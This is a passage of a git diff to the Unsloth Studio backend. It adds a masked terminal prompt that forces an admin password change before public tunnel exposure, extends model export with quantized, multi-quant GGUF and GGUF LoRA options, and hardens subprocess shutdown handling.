+++ b/studio/backend/auth/terminal_prompt.py
@@ -0,0 +1,282 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Interactive terminal prompt that forces a bootstrap password change before
+Studio is exposed on a public Cloudflare URL (``--secure`` / ``--cloudflare``).
+
+Masked input echoes one ``*`` per keystroke (unlike ``getpass``). Works on
+Windows (``msvcrt``) and Linux/macOS (``termios``). All output goes to stderr so
+redirected stdout never swallows the prompt.
+
+Mirrored for the CLI at ``unsloth_cli/commands/_password_prompt.py`` (the CLI
+cannot import the Studio backend package); keep the two in sync.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+from typing import Callable, TextIO
+
+_CTRL_C = "\x03"
+_CTRL_D = "\x04"
+_CTRL_Z = "\x1a"
+_BACKSPACES = ("\x7f", "\x08")
+_SUBMITS = ("\r", "\n")
+
+# Env var that supplies the initial admin password non-interactively (mirror in
+# unsloth_cli/commands/_password_prompt.py). Keep the name in sync.
+SUPPLIED_PASSWORD_ENV = "UNSLOTH_STUDIO_PASSWORD"
+
+
+def _getch_windows() -> str:  # pragma: no cover - exercised via fake on Linux CI
+    import msvcrt
+
+    ch = msvcrt.getwch()
+    # Function/arrow keys arrive as a two-wchar \x00/\xe0 sequence; consume the
+    # second half and report a no-op control char.
+    if ch in ("\x00", "\xe0"):
+        msvcrt.getwch()
+        return "\x00"
+    return ch
+
+
+class _RestoreTtyOnSignals:
+    """Restore terminal attrs if SIGTERM/SIGHUP kills the prompt mid-read.
+
+    A finally block can't run when a signal terminates the process, leaving the
+    shared terminal in cbreak/no-echo. Best-effort: no-op off the main thread or
+    where the signals are absent.
+    """
+
+    def __init__(self, fd: int, old_attrs) -> None:
+        self._fd = fd
+        self._old_attrs = old_attrs
+        self._previous: list = []
+
+    def __enter__(self) -> "_RestoreTtyOnSignals":
+        import signal
+        import termios
+
+        def _restore_and_reraise(signum, frame):
+            termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs)
+            signal.signal(signum, signal.SIG_DFL)
+            signal.raise_signal(signum)
+
+        for name in ("SIGTERM", "SIGHUP"):
+            sig = getattr(signal, name, None)
+            if sig is None:
+                continue
+            try:
+                self._previous.append((sig, signal.signal(sig, _restore_and_reraise)))
+            except (ValueError, OSError):  # non-main thread / unsupported
+                pass
+        return self
+
+    def __exit__(self, *exc) -> None:
+        import signal
+        for sig, previous in self._previous:
+            try:
+                signal.signal(sig, previous)
+            except (ValueError, OSError):
+                pass
+
+
+class _prompt_raw_mode:
+    """Hold cbreak + cleared ISIG (no echo) on stdin for the WHOLE prompt line,
+    restoring when the line finishes (and on SIGTERM/SIGHUP).
+
+    Echo must never re-enable mid-line: cbreak echoes on receipt, so a keystroke
+    arriving while echo is on would appear in cleartext. One cbreak block for the
+    whole line closes that window. No-op when stdin is not a real terminal, so
+    the _getch seam can be faked in tests.
+    """
+
+    def __enter__(self) -> "_prompt_raw_mode":
+        self._fd = None
+        self._old_attrs = None
+        self._signals = None
+        try:
+            import termios
+            import tty
+        except ImportError:  # non-POSIX (Windows uses msvcrt, no mode to hold)
+            return self
+        try:
+            fd = sys.stdin.fileno()
+            old_attrs = termios.tcgetattr(fd)
+        except (AttributeError, ValueError, OSError, termios.error):
+            return self  # redirected / captured stdin (tests): nothing to hold
+        self._fd = fd
+        self._old_attrs = old_attrs
+        self._signals = _RestoreTtyOnSignals(fd, old_attrs)
+        self._signals.__enter__()
+        # cbreak (not raw) keeps output post-processing while disabling echo/line
+        # buffering. It leaves ISIG on, so clear it and surface Ctrl-C as \x03 to
+        # the caller loop, which restores the tty itself.
+        tty.setcbreak(fd, termios.TCSADRAIN)
+        new_attrs = termios.tcgetattr(fd)
+        new_attrs[3] &= ~termios.ISIG
+        termios.tcsetattr(fd, termios.TCSADRAIN, new_attrs)
+        return self
+
+    def __exit__(self, *exc) -> None:
+        if self._old_attrs is None:
+            return
+        import termios
+        try:
+            termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs)
+        finally:
+            if self._signals is not None:
+                self._signals.__exit__(*exc)
+
+
+def _getch_posix() -> str:  # pragma: no cover - needs a real tty
+    # Terminal already in cbreak+no-echo for the whole line (_prompt_raw_mode),
+    # so just read. Byte-at-a-time incremental decode so a multi-byte UTF-8 char
+    # straddling a read boundary isn't dropped.
+    import codecs
+
+    fd = sys.stdin.fileno()
+    decoder = codecs.getincrementaldecoder(sys.stdin.encoding or "utf-8")("replace")
+    while True:
+        b = os.read(fd, 1)
+        if not b:
+            return ""  # stream EOF; caller raises EOFError
+        ch = decoder.decode(b)
+        if ch:
+            return ch
+
+
+_getch: Callable[[], str] = _getch_windows if os.name == "nt" else _getch_posix
+
+
+def _read_password(prompt: str, *, out: "TextIO | None" = None) -> str:
+    """Read one masked line: echo ``*`` per char, support backspace editing.
+
+    Raises KeyboardInterrupt on Ctrl-C and EOFError on Ctrl-D/Ctrl-Z with an
+    empty buffer; the terminal is restored on every exit path.
+    """
+    if out is None:
+        out = sys.stderr
+    out.write(prompt)
+    out.flush()
+    chars: list[str] = []
+    with _prompt_raw_mode():
+        while True:
+            key = _getch()
+            if key == "":  # stream ended mid-line: abort, don't submit a partial
+                out.write("\n")
+                out.flush()
+                raise EOFError
+            for ch in key:  # a paste can deliver several chars per read
+                if ch in _SUBMITS:
+                    out.write("\n")
+                    out.flush()
+                    return "".join(chars)
+                if ch == _CTRL_C:
+                    out.write("\n")
+                    out.flush()
+                    raise KeyboardInterrupt
+                if ch in (_CTRL_D, _CTRL_Z):
+                    if not chars:
+                        out.write("\n")
+                        out.flush()
+                        raise EOFError
+                    continue  # ignore mid-input
+                if ch in _BACKSPACES:
+                    if chars:
+                        chars.pop()
+                        out.write("\b \b")
+                        out.flush()
+                    continue
+                if ch < " ":  # other control characters (tab, escape, ...)
+                    continue
+                chars.append(ch)
+                out.write("*")
+                out.flush()
+
+
+def should_prompt_password_change(
+    *, tunnel_will_start: bool, requires_change: bool, stdin_isatty: bool, stderr_isatty: bool
+) -> bool:
+    """Whether to block startup on an interactive terminal password change.
+
+    True only when the tunnel is actually about to start, the admin still has
+    the seeded password, and both stdin and stderr are real terminals (headless
+    launches keep the bootstrap-timeout protection instead of hanging).
+    """
+    return tunnel_will_start and requires_change and stdin_isatty and stderr_isatty
+
+
+def prompt_for_password_change(
+    *,
+    min_length: int,
+    is_current_password: Callable[[str], bool],
+    apply_change: Callable[[str], None],
+    username: str = "unsloth",
+    out: "TextIO | None" = None,
+) -> bool:
+    """Force a new admin password before public exposure; True on success.
+
+    Loops until a valid, confirmed password is committed via ``apply_change``.
+    Ctrl-C / EOF returns False; the caller must then abort the launch.
+    """
+    if out is None:
+        out = sys.stderr
+    out.write(
+        "\n"
+        "Unsloth Studio will be exposed on the public internet, so set a\n"
+        "password now. Ctrl+C to abort.\n\n"
+    )
+    out.flush()
+    try:
+        while True:
+            new_password = _read_password("New password: ", out = out)
+            if len(new_password) < min_length:
+                out.write(f"Password must be at least {min_length} characters; try again.\n")
+                out.flush()
+                continue
+            if is_current_password(new_password):
+                out.write(
+                    "New password must differ from the current bootstrap password; try again.\n"
+                )
+                out.flush()
+                continue
+            confirmation = _read_password("Confirm new password: ", out = out)
+            if confirmation != new_password:
+                out.write("Passwords do not match; try again.\n")
+                out.flush()
+                continue
+            apply_change(new_password)
+            out.write(f"Password updated for '{username}'.\n")
+            out.flush()
+            return True
+    except (KeyboardInterrupt, EOFError):
+        out.write("Password change aborted; not exposing Studio.\n")
+        out.flush()
+        return False
+
+
+def resolve_supplied_password(cli_value: "str | None", out: "TextIO | None" = None) -> "str | None":
+    """Resolve a non-interactive initial admin password, or None if unset.
+
+    Precedence: an explicit ``--password`` (literal ``-`` reads a line from
+    stdin), then the ``UNSLOTH_STUDIO_PASSWORD`` env var; empty/omitted means off.
+    A literal argv value is visible in the process list, so a note points at the
+    env var or stdin instead. Mirror of the CLI helper -- keep the two in sync.
+    """
+    if out is None:
+        out = sys.stderr
+    if cli_value == "-":
+        line = sys.stdin.readline()
+        if not line:
+            return None
+        return line.rstrip("\r\n") or None
+    if cli_value:
+        out.write(
+            "Note: --password is visible in the process list and shell history; "
+            f"prefer {SUPPLIED_PASSWORD_ENV} or --password - (stdin).\n"
+        )
+        out.flush()
+        return cli_value
+    return os.environ.get(SUPPLIED_PASSWORD_ENV) or None
diff --git a/studio/backend/colab.py b/studio/backend/colab.py
index dd274399bc..e04543b3aa 100644
--- a/studio/backend/colab.py
+++ b/studio/backend/colab.py
@@ -323,8 +323,8 @@ def start(port: int = 8888, *, cloudflare: bool = False):
 
     logger.info("   Starting server...")
     try:
-        # cloudflare=False: this helper owns the tunnel. run_server's default True
-        # would tunnel this 0.0.0.0 bind if Colab detection fails, breaking the opt-out.
+        # cloudflare=False: this helper owns the tunnel (Colab's own
+        # start(cloudflare=...) drives it), so pin it off explicitly.
         app = run_server(
             host = "0.0.0.0",
             port = port,
diff --git a/studio/backend/core/data_recipe/service.py b/studio/backend/core/data_recipe/service.py
index 9d8ca5cfcc..4647dc098d 100644
--- a/studio/backend/core/data_recipe/service.py
+++ b/studio/backend/core/data_recipe/service.py
@@ -9,6 +9,8 @@ import os
 from pathlib import Path
 from typing import Any
 
+from utils.paths import recipe_datasets_root
+
 from .jsonable import to_jsonable
 from .local_callable_validators import (
     register_oxc_local_callable_validators,
@@ -277,6 +279,11 @@ def create_data_designer(recipe: dict[str, Any], *, artifact_path: str | None =
     _apply_data_designer_image_context_patch()
     from data_designer.interface.data_designer import DataDesigner  # pyright: ignore[reportMissingImports]
 
+    if artifact_path is None:
+        # DataDesigner defaults to cwd/artifacts; packaged Studio can run with
+        # cwd=/, so keep default callers on Studio's writable recipe artifact root.
+        artifact_path = str(recipe_datasets_root())
+
     recipe = _strip_frontend_model_config_metadata(recipe)
     model_providers = build_model_providers(recipe)
     _validate_recipe_runtime_support(recipe, model_providers)
diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py
index 4b0ecb0840..e03ff0786b 100644
--- a/studio/backend/core/export/export.py
+++ b/studio/backend/core/export/export.py
@@ -13,7 +13,18 @@ import shutil
 import contextlib
 from pathlib import Path
 from typing import Optional, Tuple, List
-from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
+
+# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable
+# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash.
+try:
+    from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
+    _UNSLOTH_IMPORT_ERROR = None
+except Exception as _unsloth_exc:  # ImportError (e.g. missing torch) or a broken native load
+    FastLanguageModel = None
+    FastVisionModel = None
+    _IS_MLX = False
+    _UNSLOTH_IMPORT_ERROR = _unsloth_exc
+
 from huggingface_hub import HfApi, ModelCard
 from utils.hardware import clear_gpu_cache
 
@@ -27,14 +38,46 @@ from utils.paths import (
 )
 from core.inference import get_inference_backend
 
-# GPU-only imports — guarded for Apple Silicon where these aren't needed
+# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays
+# importable; export then degrades to a clear "PyTorch is not installed" error.
+torch = None
+_TORCH_IMPORT_ERROR: Optional[BaseException] = None
 if not _IS_MLX:
-    from peft import PeftModel, PeftModelForCausalLM
-    from transformers.modeling_utils import PushToHubMixin
-    import torch
+    try:
+        from peft import PeftModel, PeftModelForCausalLM
+        from transformers.modeling_utils import PushToHubMixin
+        import torch
+    except Exception as _torch_exc:  # ImportError, or a broken native torch load
+        _TORCH_IMPORT_ERROR = _torch_exc
 
 logger = get_logger(__name__)
 
+
+def _export_runtime_available() -> bool:
+    """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host)."""
+    return bool(_IS_MLX) or (FastLanguageModel is not None)
+
+
+def _export_runtime_message() -> str:
+    """Precise reason the export runtime is unavailable, mirroring hardware.export_capability()."""
+    if torch is None:
+        return (
+            "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+            "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+        )
+    return (
+        "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
+        "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on "
+        "CPU only.)"
+    )
+
+
+# Kept for call sites / tests referencing the PyTorch-missing text.
+_PYTORCH_MISSING_MESSAGE = (
+    "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+    "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+)
+
 _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
 
 
@@ -89,6 +132,28 @@ def _compressed_export_supported():
         return False
 
 
+def _torchao_export_supported():
+    """True if the installed unsloth build has the portable torchao FP8/INT8 export path."""
+    try:
+        import unsloth.save as _us
+        return hasattr(_us, "_normalize_torchao_method")
+    except Exception:
+        return False
+
+
+def _has_nvidia_gpu():
+    """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it."""
+    try:
+        from utils.hardware import hardware as _hw
+        return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM
+    except Exception:
+        try:
+            import torch
+            return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None
+        except Exception:
+            return False
+
+
 def _hf_offline(timeout = 3):
     """True if export should avoid the Hub: honors the HF offline env vars, else does one
     cheap TCP reachability probe so a network-down load uses local files / the HF cache
@@ -436,13 +501,17 @@ class ExportBackend:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        compressed_method: Optional[str] = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export merged model (for PEFT models).
 
         Args:
             save_directory: Local directory to save model
-            format_type: "16-bit (FP16)" or "4-bit (FP4)"
+            format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label
+            compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8",
+                "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides
+                format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES.
             push_to_hub: Whether to push to Hugging Face Hub
             repo_id: Hub repository ID (username/model-name)
             hf_token: Hugging Face token
@@ -451,38 +520,108 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
-        if not self.is_peft:
-            return (
-                False,
-                "This is not a PEFT model. Use 'Export Base Model' instead.",
-                None,
-            )
+        # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike
+        # (save_pretrained_merged is a no-op merge that just saves the base).
 
         output_path: Optional[str] = None
-        # compressed-tensors formats run save_pretrained_merged with an FP8/FP4 save_method and
-        # write to a sibling "<dir>-<suffix>" directory (for vLLM).
-        _COMPRESSED = {
-            "FP8 (compressed-tensors)": ("fp8", "fp8"),
-            "NVFP4 (compressed-tensors)": ("nvfp4", "nvfp4"),
+        # Quantized formats save to a sibling "<dir>-<suffix>". Two backends: compressed-tensors
+        # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias
+        # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label.
+        _LABEL_TO_ALIAS = {
+            "FP8 (compressed-tensors)": "fp8",
+            "NVFP4 (compressed-tensors)": "nvfp4",
         }
-        is_compressed = format_type in _COMPRESSED
+        compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)
+        compressed_suffix: Optional[str] = None
+        # Classify the alias: torchao-portable vs compressed-tensors.
+        torchao_info = None
+        if compressed_alias and _torchao_export_supported():
+            try:
+                import unsloth.save as _us_t
+                torchao_info = _us_t._normalize_torchao_method(compressed_alias)
+            except Exception:
+                torchao_info = None
+        is_torchao = torchao_info is not None
+        is_compressed = compressed_alias is not None and not is_torchao
         try:
-            if _IS_MLX:
-                if is_compressed:
-                    return False, "Compressed-tensors export is not supported on macOS/MLX.", None
-                mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
-            elif is_compressed:
+            if _IS_MLX and (is_compressed or is_torchao):
+                return (
+                    False,
+                    "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. "
+                    "Use 16-bit or GGUF.",
+                    None,
+                )
+
+            if is_torchao:
+                # Portable torchao: no NVIDIA GPU, no calibration.
+                compressed_suffix = torchao_info[1]
+
+            if is_compressed:
+                # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed.
+                if not _has_nvidia_gpu():
+                    return (
+                        False,
+                        "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other "
+                        "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.",
+                        None,
+                    )
                 if not _compressed_export_supported():
                     return (
                         False,
-                        "Compressed-tensors (FP8/NVFP4) export requires an Unsloth build with "
+                        "Compressed-tensors (FP8/FP4) export requires an Unsloth build with "
                         "compressed-tensors support. Upgrade unsloth, or choose 16-bit.",
                         None,
                     )
-                save_method = _COMPRESSED[format_type][0]
+                import unsloth.save as _us
+
+                # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models
+                # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports
+                # through it when available; else fall back to the workspace 0.10.x path below.
+                _shadow_pp = None
+                try:
+                    from utils.transformers_version import llmcompressor_shadow_pythonpath
+                    _shadow_pp = llmcompressor_shadow_pythonpath()
+                except Exception as e:
+                    logger.warning(f"llm-compressor-main shadow unavailable: {e}")
+                if _shadow_pp:
+                    os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp
+                else:
+                    # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its
+                    # transformers ceiling, so fail fast for sidecar models; default-tier still works.
+                    os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None)
+                    _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling()
+                    if _exceeds:
+                        return (
+                            False,
+                            "FP8/FP4 compressed-tensors export is not available for this model: it "
+                            f"runs under transformers {_tf_ver}, but the installed llm-compressor "
+                            f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the "
+                            "llm-compressor-main runtime could not be provisioned (offline or "
+                            "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.",
+                            None,
+                        )
+
+                try:
+                    info = _us._normalize_compressed_method(compressed_alias)
+                except Exception as e:
+                    return False, f"Unsupported compressed export '{compressed_alias}': {e}", None
+                if info is None:
+                    return (
+                        False,
+                        f"'{compressed_alias}' is not a recognized compressed-tensors export.",
+                        None,
+                    )
+                compressed_suffix = info[2]
+
+            if _IS_MLX:
+                mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
+            elif is_compressed or is_torchao:
+                save_method = compressed_alias
             elif format_type == "4-bit (FP4)":
                 save_method = "merged_4bit_forced"
             elif self._audio_type == "whisper":
@@ -506,10 +645,10 @@ class ExportBackend:
                         save_directory, self.current_tokenizer, save_method = save_method
                     )
 
-                # Compressed export writes to the "<dir>-<suffix>" sibling; report that as output.
+                # Compressed / torchao writes to the "<dir>-<suffix>" sibling; report that as output.
                 final_dir = (
-                    f"{save_directory}-{_COMPRESSED[format_type][1]}"
-                    if is_compressed
+                    f"{save_directory}-{compressed_suffix}"
+                    if (is_compressed or is_torchao)
                     else save_directory
                 )
                 self._write_export_metadata(final_dir)
@@ -549,10 +688,9 @@ class ExportBackend:
                                 token = hf_token,
                                 private = private,
                             )
-                elif is_compressed and output_path and Path(output_path).is_dir():
-                    # The compressed model was already built locally in output_path; upload it
-                    # directly so we do not re-run the (expensive, OOM-prone) compression that
-                    # push_to_hub_merged(save_method=fp8/nvfp4) would otherwise do a second time.
+                elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():
+                    # Already built in output_path; upload it directly instead of re-running the
+                    # expensive quantization that push_to_hub_merged(save_method=...) would redo.
                     hf_api = HfApi(token = hf_token)
                     repo_id = PushToHubMixin._create_repo(
                         PushToHubMixin,
@@ -564,7 +702,7 @@ class ExportBackend:
                         username = repo_id.split("/")[0],
                         base_model = getattr(self.current_model.config, "_name_or_path", "unknown"),
                         model_type = getattr(self.current_model.config, "model_type", "llm"),
-                        method = format_type,
+                        method = compressed_alias or format_type,
                         extra = "unsloth",
                     )
                     ModelCard(content).push_to_hub(
@@ -610,6 +748,8 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
@@ -728,7 +868,7 @@ class ExportBackend:
     def export_gguf(
         self,
         save_directory: str,
-        quantization_method: str = "Q4_K_M",
+        quantization_method = "Q4_K_M",
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
@@ -739,7 +879,9 @@ class ExportBackend:
 
         Args:
             save_directory: Local directory to save model
-            quantization_method: GGUF quantization method (e.g., "Q4_K_M")
+            quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them
+                (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single
+                model load (unsloth save_to_gguf loops internally).
             push_to_hub: Whether to push to Hugging Face Hub
             repo_id: Hub repository ID
             hf_token: Hugging Face token
@@ -747,11 +889,13 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
-        # Only forward imatrix_file to an unsloth build that accepts it; otherwise even a plain
-        # no-imatrix export would fail with an unexpected-keyword error against an older unsloth.
+        # Only forward imatrix_file to an unsloth build that accepts it, else older builds raise
+        # an unexpected-keyword error even for a plain no-imatrix export.
         if imatrix_file is not None and not _supports_kwarg(
             self.current_model.save_pretrained_gguf, "imatrix_file"
         ):
@@ -766,8 +910,14 @@ class ExportBackend:
         output_path: Optional[str] = None
         model_tmp_to_cleanup: Optional[str] = None
         try:
-            # unsloth expects lowercase quant method
-            quant_method = quantization_method.lower()
+            # Normalize to a lowercased list so multiple quants come from one model load.
+            if isinstance(quantization_method, (list, tuple)):
+                quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()]
+            else:
+                quant_methods = [str(quantization_method).lower()]
+            if not quant_methods:
+                quant_methods = ["q4_k_m"]
+            quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0]
 
             # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it
             # can't drift past the pinned llama-quantize binary's gguf API.
@@ -889,7 +1039,7 @@ class ExportBackend:
 
             return (
                 True,
-                f"GGUF model exported successfully ({quantization_method})",
+                f"GGUF model exported successfully ({', '.join(quant_methods)})",
                 output_path,
             )
 
@@ -909,19 +1059,56 @@ class ExportBackend:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        gguf: bool = False,
+        gguf_outtype: str = "q8_0",
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export LoRA adapter only (not merged).
 
+        Args:
+            gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp
+                convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.
+            gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32.
+
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
         if not self.is_peft:
             return False, "This is not a PEFT model. No adapter to export.", None
 
+        _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32")
+        if gguf:
+            if _IS_MLX:
+                return (
+                    False,
+                    "GGUF LoRA adapter export is not supported on macOS/MLX. "
+                    "Use the safetensors adapter instead.",
+                    None,
+                )
+            outtype = str(gguf_outtype).lower()
+            if outtype not in _GGUF_LORA_OUTTYPES:
+                return (
+                    False,
+                    f"Invalid GGUF LoRA outtype '{gguf_outtype}'. "
+                    f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.",
+                    None,
+                )
+            # getattr so an older build without save_pretrained_gguf returns a clean message
+            # instead of an AttributeError (a generic 500).
+            _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None)
+            if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"):
+                return (
+                    False,
+                    "This Unsloth build does not support GGUF LoRA adapter export. "
+                    "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.",
+                    None,
+                )
+
         output_path: Optional[str] = None
         try:
             if save_directory:
@@ -929,7 +1116,24 @@ class ExportBackend:
                 logger.info(f"Saving LoRA adapter locally to: {save_directory}")
                 ensure_dir(Path(save_directory))
 
-                if _IS_MLX:
+                if gguf:
+                    # Writes the adapter files plus "<base>-lora-<outtype>.gguf".
+                    _apply_wsl_sudo_patch()
+                    self.current_model.save_pretrained_gguf(
+                        save_directory,
+                        self.current_tokenizer,
+                        save_method = "lora",
+                        quantization_method = outtype,
+                        # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config.
+                        token = hf_token or None,
+                    )
+                    final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf")))
+                    logger.info(
+                        "LoRA GGUF export complete. Files in %s:\n  %s",
+                        save_directory,
+                        "\n  ".join(os.path.basename(f) for f in final_ggufs) or "(none)",
+                    )
+                elif _IS_MLX:
                     # MLX: save adapters.safetensors + tokenizer files
                     self.current_model.save_lora_adapters(save_directory)
                     self.current_tokenizer.save_pretrained(save_directory)
@@ -949,7 +1153,24 @@ class ExportBackend:
 
                 logger.info(f"Pushing LoRA adapter to Hub: {repo_id}")
 
-                if _IS_MLX:
+                if gguf:
+                    # Upload the locally-built GGUF folder; needs a local save_directory so the
+                    # conversion is not re-run.
+                    if not (output_path and Path(output_path).is_dir()):
+                        return (
+                            False,
+                            "GGUF LoRA Hub upload requires a local save directory; set one and "
+                            "retry.",
+                            None,
+                        )
+                    hf_api = HfApi(token = hf_token)
+                    hf_api.create_repo(repo_id, private = private, exist_ok = True)
+                    hf_api.upload_folder(
+                        folder_path = output_path,
+                        repo_id = repo_id,
+                        repo_type = "model",
+                    )
+                elif _IS_MLX:
                     with tempfile.TemporaryDirectory() as tmp_dir:
                         self.current_model.save_lora_adapters(tmp_dir)
                         self.current_tokenizer.save_pretrained(tmp_dir)
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 052a47dd80..6d1a928f2e 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -132,6 +132,11 @@ class ExportOrchestrator:
         """True while an export / load / cleanup command is running."""
         return self._export_active
 
+    def is_worker_alive(self) -> bool:
+        """True while the persistent export subprocess is running (op or idle)."""
+        proc = self._proc
+        return proc is not None and proc.is_alive()
+
     def was_cancelled(self) -> bool:
         """True if the in-flight (or most recent) run was cancelled by the user."""
         return self._cancel_requested
@@ -204,6 +209,23 @@ class ExportOrchestrator:
 
     def _spawn_subprocess(self, config: dict) -> None:
         """Spawn a new export subprocess."""
+        # Last-resort recheck for spawns outside an active op. Inside an op, _export_active is set and
+        # load_checkpoint already rechecked, so a reservation here is an install about to observe
+        # is_export_active() and abort; raising would kill this export for an install that never proceeds.
+        from utils.transformers_version import sidecar_swap_in_progress
+
+        from utils.transformers_version import sidecar_swap_kind
+
+        _swap_kind = sidecar_swap_kind()
+        # Inside an active op an INSTALL reservation is about to abort on the
+        # is_export_active check, but a lazy REPAIR has no such check and can be
+        # rebuilding the sidecar right now, so it must always refuse the spawn.
+        if _swap_kind == "repair" or (_swap_kind is not None and not self._export_active):
+            from utils.transformers_version import SidecarSwapInProgress
+            raise SidecarSwapInProgress(
+                "A transformers installation is replacing the latest sidecar; "
+                "retry when it completes."
+            )
         from utils.native_path_leases import (
             native_path_secret_removed_for_child_start,
             run_without_native_path_secret,
@@ -231,11 +253,17 @@ class ExportOrchestrator:
         adopt_pid(self._proc.pid)  # bind to parent lifetime (Windows job / sweep)
         logger.info("Export subprocess started (pid=%s)", self._proc.pid)
 
-    def _shutdown_subprocess(self, timeout: float = 10.0) -> None:
-        """Gracefully shut down the export subprocess."""
+    def _shutdown_subprocess(self, timeout: float = 10.0) -> bool:
+        """Gracefully shut down the export subprocess.
+
+        Returns True only once the worker is confirmed dead. If it survives
+        terminate/kill (e.g. wedged in an uninterruptible CUDA syscall that outlives
+        SIGKILL) the live handle is KEPT, not nulled, so is_worker_alive() and the
+        pre-swap liveness guard can still observe the survivor instead of a cleared
+        handle and refuse the destructive sidecar swap."""
         if self._proc is None or not self._proc.is_alive():
             self._proc = None
-            return
+            return True
 
         self._drain_queue()
 
@@ -265,10 +293,20 @@ class ExportOrchestrator:
                 except Exception:
                     pass
 
+        if self._proc is not None and self._proc.is_alive():
+            # Survived SIGKILL (uninterruptible syscall): keep the handle so callers
+            # and the pre-swap guard see a live worker rather than a nulled one.
+            logger.error(
+                "Export subprocess still alive after terminate/kill; "
+                "preserving its handle for the pre-swap liveness check"
+            )
+            return False
+
         self._proc = None
         self._cmd_queue = None
         self._resp_queue = None
         logger.info("Export subprocess shut down")
+        return True
 
     def _cleanup(self):
         """atexit handler."""
@@ -339,9 +377,10 @@ class ExportOrchestrator:
 
             if rtype == "status":
                 message = resp.get("message", "")
-                logger.info("Export subprocess status: %s", message)
-                # Surface status in the live log panel for high-level progress.
